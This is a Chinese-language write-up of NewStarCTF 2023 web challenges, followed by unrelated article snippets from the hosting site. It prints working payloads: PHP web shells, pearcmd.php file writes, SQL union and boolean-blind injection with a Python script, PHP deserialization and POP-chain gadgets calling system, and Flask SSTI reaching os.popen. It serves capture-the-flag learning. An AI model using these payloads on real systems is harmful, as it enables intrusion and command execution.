NewStarCTF 2023 web

目录

week1

泄漏的秘密

Begin of Upload

Begin of HTTP

ErrorFlask

Begin of PHP

R!C!E!

EasyLogin

week2

游戏高手

include 0。0

ez_sql

Unserialize?

Upload again!

R!!C!!E!!

week3

Include 🍐

medium_sql

POP Gadget

GenShin

week4


week1

泄漏的秘密

访问 /robots.txt  可以得到  flag{r0bots_1s_s0_us3ful

访问 /www..zip 下载文件,有两个文件,放了flag
(目录扫描)

 flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

后缀名可以是php,比较简单,|
蚁剑连一下

flag{c31619ad-76d9-4bab-85c3-65675a57171a}

Begin of HTTP

先是需要get传参,然后post传参
post 传参的值查看源代码,base64解密

?ctf=1
secret=n3wst4rCTF2023g00000d

然后就是

最后本地用户感觉有点问题

要用 X-Real-IP: 127.0.0.1

ErrorFlask

随便传一些东西,会报错,flag就藏在里面

Begin of PHP

 <?php
error_reporting(0);
highlight_file(__FILE__);if(isset($_GET['key1']) && isset($_GET['key2'])){echo "=Level 1=<br>";if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){$flag1 = True;}else{die("nope,this is level 1");}
}if($flag1){echo "=Level 2=<br>";if(isset($_POST['key3'])){if(md5($_POST['key3']) === sha1($_POST['key3'])){$flag2 = True;}}else{die("nope,this is level 2");}
}if($flag2){echo "=Level 3=<br>";if(isset($_GET['key4'])){if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){$flag3 = True;}else{die("nope,this is level 3");}}
}if($flag3){echo "=Level 4=<br>";if(isset($_GET['key5'])){if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){$flag4 = True;}else{die("nope,this is level 4");}}
}if($flag4){echo "=Level 5=<br>";extract($_POST);foreach($_POST as $var){if(preg_match("/[a-zA-Z0-9]/",$var)){die("nope,this is level 5");}}if($flag5){echo file_get_contents("/flag");}else{die("nope,this is level 5");}
} 

?key1[]=1&key2[]=2&key4[]=1&key5=2024a

post : key3[]=1&flag5= ^

flag{4ffc2cc7-f66a-42cb-9655-7d9e49b55945}

主要是最后一步,本来以为是整个post传参的值不能出现字母和数字,但好像只是 flag5不能出现字母和数字,直接给flag5 赋值一个特殊的字符
也还可以通过数组绕过,flag5[]=  (空格) (虽然我也不晓得为什么这又可以通过数组绕)
(代码中不存在 $flag5 这个变量,但是有extract() )

R!C!E!

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){$password=md5($_POST['password']);$code=$_POST['e_v.a.l'];if(substr($password,0,6)==="c4d038"){if(!preg_match("/flag|system|pass|cat|ls/i",$code)){eval($code);}}
} 

114514 md5 加密后前六位为c4d038

e_v.a.1  要写成  e[v.a.1
php的一个特性,"["会被解析成“_”,并且在“[”之后不规范的字符都不会再被转化,

password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');

flag{d6972660-584b-4eea-bc8e-2a958fe53e8c}

EasyLogin

随便输入密码抓包,发现对密码进行了加密,是MD5加密

注册再登进去有点莫名其妙,可以看到有个 111 是注册的用户名,
可能会存在admin用户名,但不知道密码,进行爆破

爆破出密码为 000000

登进去好像还是啥也没有

看了其他人的wp应该是抓包 在history中有个302重定向的包。在发送到repeater ,就可以得到flag
但是我用admin 和 000000  再重新抓包的时候查看history没有发现 302的包,有点奇怪

应该是环境的问题吧,别人的flag是在这个文件下发现的,但是我这里却是404,不晓得为啥

week2

游戏高手

游戏通关不了了,太难了

在控制台输入分数,继续返回到之前的页面玩游戏,可以发现分数变了,游戏结束就可以得到flag

include 0。0

过滤了两种过滤器,还有好多种过滤器,随便用一种

?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

ez_sql

sql注入类型的
进过测试,发现 or select 等一些东西都被过滤了,
但是没过滤大写,可以通过大小写绕过
可以测出有5列, 万能密码试一下

查表名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() %23

查列名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='here_is_flag' %23

查数据
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) FROM here_is_flag %23

Unserialize?

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {private $cmd;public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}@unserialize($_POST['unser']);
?>

POST:   unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
(列一下目录,注意$cmd 前面是 private)

虽然过滤了一些读取文件的命令,但还是有好多,尝试一些其他的

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}

Upload again!

先随便上传文件,然后bp抓包 ,
进过尝试可以发现 .htaccess可以上传
写入内容:  AddType application/x-httpd-php .png    可以上传成功
然后上传   1.png
但是 过滤了<? 需要绕过
<script language='php'>@eval($_POST[1])</script>  也可以上传成功

明明是上传成功了,但访问不了,总是报错,蚁剑也连不上
试了一下别人成功的方法,也是报错,感觉应该是环境的问题

R!!C!!E!!

提示有信息泄露,dirsearch扫描一下

使用工具:GitHack

在文件中下载了3个文件

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){eval($_GET['star']);}
}
#!/bin/bash
echo "$FLAG" > /flag && \
export FLAG=not && FLAG=not && \
service apache2 restart && \
tail -f /dev/null

(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))

这行代码表明需要进行  无参数RCE

getallheaders():获取所有 HTTP 请求标头,但是该函数只能在Apache环境下使用

array_flip()交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL

array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名

?star=print_r(getallheaders());

然后bp抓包添加请求头
flag: system("ls /");

再用array_flip  和array_rand  得到system("ls /");
包裹上 eval  ,执行命令

?star=eval(array_rand(array_flip(getallheaders())));

多尝试几遍,发现执行了命令

week3

Include 🍐

之前写过,利用pearcmd.php

直接传参:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php

到/tmp/shell.php文件下进行  rce
文件包含题(进阶)-CSDN博客

medium_sql

万能密码尝试一下

刚开始试着的时候,一直没发现竟然是布尔盲注,我说怎么一直没有回显,一直检查是不是哪里语法有问题
需要写脚本,虽然我写的脚本很low,但也勉强能运行

import time
import requestsdic='1234_567890{}qwer-tyuiopasdfghjklzxcvbnm'
url='http://74efb8e1-f799-4d94-b4aa-a73f536b2dad.node5.buuoj.cn:81/'# payload="?id=TMP0919' And if((oRd(suBstr((SELECT TABLE_NAME FroM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1),{0},1)))={1},1,0)%23"
# 改一下limit  第一张表为:grades  第二张表为 here_is_flag# payload="?id=TMP0919' And if((oRd(suBstr((SELECT ColuMN_NAME FroM INFORMATION_SCHEMA.COlumnS WHERE TABLE_naMe='here_is_flag' LIMIT 0,1),{0},1)))={1},1,0)%23"
# 列名为 flagpayload="?id=TMP0919' And if((oRd(suBstr((SELECT flag FroM here_is_flag LIMIT 0,1),{0},1)))={1},1,0)%23"flag=''
column_name=''
tb_name=''URL=url+payload
for i in range(1,60):for j in dic:res=requests.get(url=URL.format(i,ord(j)))# print(res.text)if 'TMP0919' in res.text:# tb_name+=j# column_name+=jflag+=jprint(j)break# print("表名为:{}".format(tb_name))# print("列名为:{}".format(column_name))print("flag为:{}".format(flag))
#  第一次设的长度太短了,还有一部分没跑出来,有点无语 flag{55d9507f-1ee9-44d8-8cb6-62fd080faa
#  flag{55d9507f-1ee9-44d8-8cb6-62fd080faa15}

POP Gadget

 <?php
highlight_file(__FILE__);class Begin{public $name;public function __destruct(){if(preg_match("/[a-zA-Z0-9]/",$this->name)){echo "Hello";}else{echo "Welcome to NewStarCTF 2023!";}}
}class Then{private $func;public function __toString(){($this->func)();return "Good Job!";}}class Handle{protected $obj;public function __call($func, $vars){$this->obj->end();}}class Super{protected $obj;public function __invoke(){$this->obj->getStr();}public function end(){die("==GAME OVER==");}
}class CTF{public $handle;public function end(){unset($this->handle->log);}}class WhiteGod{public $func;public $var;public function __unset($var){($this->func)($this->var);    }
}@unserialize($_POST['pop']); 

pop链:

  Begin  __destruct->Then  __toString ->Supei  __invoke-> Handle  __call  ->CTF __end()
   ->Whitegod  __unset

$a=new Begin();
$a->name=new Then();
$a->name->func=new Super();
$a->name->func->obj=new Handle();
$a->name->func->obj->obj=new CTF();
$a->name->func->obj->obj->handle=new WhiteGod();
$a->name->func->obj->obj->handle->func='system';
$a->name->func->obj->obj->handle->var='ls /';echo urlencode(serialize($a));

pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}}Hello

pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

GenShin

抓包,可以看到有目录信息

访问到页面

尝试传参试试  ?name=admin

?name={%print("".__class__)%}   存在ssti注入

?name={%print("".__class__.__base__.__subclasses__())%}
找能够利用的函数  

?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__)%}

参考:[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

这个也可以,之前一直试的这个,一直不能成功,突然又可以了,可能之前哪里格式错了

?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__["po""pen"]("ls /").read())%}

week4

 <?php
highlight_file(__FILE__);
function waf($str){return str_replace("bad","good",$str);
}class GetFlag {public $key;public $cmd = "whoami";public function __construct($key){$this->key = $key;}public function __destruct(){system($this->cmd);}
}unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data flag{6edd79e9-fec6-4a7b-8523-3a403dd91a0e} 

字符串逃逸,每次bad -> good 就可以逃逸出一个字符
cmd=whoami,无法改变,需要自己造一个cmd,进行反序列化

";s:3:"cmd";s:4:"ls /";}  共有24个字符,所以需要逃逸24个

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

unity学习(89)——unity塞满c盘!--删除editor下的log文件

卸了一个视频后强制续命打开详细信息&#xff1a; 这个再往下找也是没用的&#xff01; 显示隐藏文件夹后&#xff01;执行如下操作&#xff01; 30个g&#xff01; 其中unity占23g editer占了21g 删除C:\Users\王栋林\AppData\Local\Unity\Editor下的log文件 恢复到之前的水…

【编译原理】03语法分析

1&#xff0c;语法分析的若干问题 1.1 语法分析器的作用 编译器前端的重要组成部分&#xff1a; (1) 根据词法分析器提供的记号流&#xff0c;为语法正确的输入构造分析树(或语法树)。 (2) 检查输入中的语法(可能包括词法)错误&#xff0c;并调用出错处理器进…

031——从GUI->Client->Server->driver实现dht11数据的采集

目录 0、设置ip 1、修改显示界面 2、 修改客户端 3、 修改服务器程序通信部分 4、 修改驱动处理程序 5、 重写驱动程序 6、 展示 0、设置ip 因为ifconfig命令要被淘汰了&#xff0c;所以我们改成使用ip命令设置ubuntu的ip ip addr add 192.168.5.10/24 dev ens36 ip …

ElasticSearch中使用向量和关键词联合检索

注&#xff1a;案例测试数据及其索引构建详见&#xff1a;ElasticSearch中使用bge-large-zh-v1.5进行向量检索&#xff08;一&#xff09;-CSDN博客 中的第三部分。 假设任务场景为&#xff1a;用“新疆”向量检索相关的数据&#xff0c;同时需要匹配关键词“巴州”。 首先获取…

VUE运行找不到pinia模块

当我们的VUE运行时报错Module not found: Error: Cant resolve pinia in时 当我们出现这个错误时 可能是 没有pinia模块 此时我们之要下载一下这个模块就可以了 npm install pinia

Elasticsearch进阶篇(三):ik分词器的使用与项目应用

ik分词器的使用 一、下载并安装1.1 已有作者编译后的包文件1.2 只有源代码的版本1.3 安装ik分词插件 二、ik分词器的模式2.1 ik_smart演示2.2 ik_max_word演示2.3 standard演示 三、ik分词器在项目中的使用四、ik配置文件4.1 配置文件的说明4.2 自定义词库 五、参考链接 一、下…

利用Opencv4.9为图像添加边框

返回:OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇利用OpenCV4.9制作自己的线性滤波器&#xff01; 下一篇 :OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 目标 在本教程中&#xff0c;您将学习如何&#xff1a; 使用 OpenCV 函数 …

[Spring Cloud] (4)搭建Vue2与网关、微服务通信并配置跨域

文章目录 前言gatway网关跨域配置取消微服务跨域配置 创建vue2项目准备一个原始vue2项目安装vue-router创建路由vue.config.js配置修改App.vue修改 添加接口访问安装axios创建request.js创建index.js创建InfoApi.js main.jssecurityUtils.js 前端登录界面登录消息提示框 最终效…

故障诊断 | 用于跨机器工况下故障诊断的深度判别迁移学习网络附Pytorch代码

目录 基础代码小结基础 目前,研究者已经提出了很多用于解决目标域和源域之间的分布对齐和知识迁移问题的领域自适应方法。然而,大多数研究方法只关注到边缘分布对齐,忽略了目标域和源域之间判别性特征的学习。因此,在某些案例中,这些方法仍然不能很好地满足故障诊断要求。…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion&#xff1a;通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

Elasticsearch常用查询语法及RestClient操作

DSL Query基本语法 1&#xff0c;查询所有数据matchall&#xff08;当然并不是会显示所有数据&#xff09; #查询所有数据 GET /索引名/_search {"query": {"查询类型": {"查询条件":"条件值"}} }2&#xff0c;全文搜索检索-分词搜索…

从零实现诗词GPT大模型:实现Transformer架构

专栏规划: https://qibin.blog.csdn.net/article/details/137728228 首先说明一下,跟其他文章不太一样,在本篇文章中不会对Transformer架构中的自注意力机制进行讲解,而是后面单独1~2篇文章详细讲解自注意力机制,我认为由浅入深的先了解Transformer整体架构和其中比较简单…

IDEA JAVA项目如何设置JVM参数

问题背景&#xff1a; 有时候项目在本地启动时会报参数引用不到&#xff0c;如果确实找不到在哪里添加的话&#xff0c;我们可以先加JVM参数来暂时解决本地环境的调试。 解决方案&#xff1a; 编辑配置Edit Configurations 选择需要配置的项目&#xff0c;点击Modify options 选…

React基础知识大汇总

函数组件和类组件 函数组件与类组件有什么区别呢&#xff1f; function getName(params:{name:string}){const count 0;return params.name -count; } getName({name:"test"}) getName({name:"哈哈哈"})getName是一个纯函数&#xff0c;不产生任何副作用…

mfc140.dll丢失如何修复,分享多种有效的修复方法

在日常操作和使用电脑的过程中&#xff0c;我们可能会遇到一种较为常见的问题&#xff0c;即在尝试启动或运行某个应用程序时&#xff0c;系统突然弹出一个错误提示窗口&#xff0c;明确指出“mfc140.dll文件丢失”。这个mfc140.dll实际上是一个动态链接库文件&#xff08;DLL&…

mysql基础19——日志

日志 mysql的日志种类非常多 通用查询日志 慢查询日志 错误日志 与时间有关联 二进制日志 中继日志 与主从服务器的同步有关 重做日志 回滚日志 与数据丢失有关 通用查询日志 记录了所有用户的连接开始时间和截至时间 以及给mysql服务器发送的所有指令 当数据异常时&…

计算机体系结构

体系结构 CPU&#xff1a;运算器和控制器 运算器&#xff1a;进行算术和逻辑运算控制器&#xff1a; 输入设备&#xff1a;鼠标、键盘、显示器、磁盘、网卡等输出设备&#xff1a;显卡&#xff0c;磁盘、网卡、打印机等存储器&#xff1a;内存&#xff0c;掉电易失总线&#xf…

借助 NVivo 彻底改变业务创新

在收集定性数据时&#xff0c;通常很难确定信息的情感底蕴。尤其是在金融行业&#xff0c;当涉及到经济金融状况和股票走势等问题时&#xff0c;通过文章、社交媒体和其他消费者平台了解市场的真实整体感受至关重要。这就是对数据应用情绪分析可以提供帮助的地方。 在德勤 针对…

代码随想录第42天|416. 分割等和子集

416. 分割等和子集 416. 分割等和子集 - 力扣&#xff08;LeetCode&#xff09; 代码随想录 (programmercarl.com) 动态规划之背包问题&#xff0c;这个包能装满吗&#xff1f;| LeetCode&#xff1a;416.分割等和子集_哔哩哔哩_bilibili 给你一个 只包含正整数 的 非空 数组…

软件测试之【软件测试概论一】

读者大大们好呀&#xff01;&#xff01;!☀️☀️☀️ &#x1f525; 欢迎来到我的博客 &#x1f440;期待大大的关注哦❗️❗️❗️ &#x1f680;欢迎收看我的主页文章➡️寻至善的主页 文章目录 前言软件生命周期软件项目开发过程软件项目组织架构软件开发相关模型 软件测试…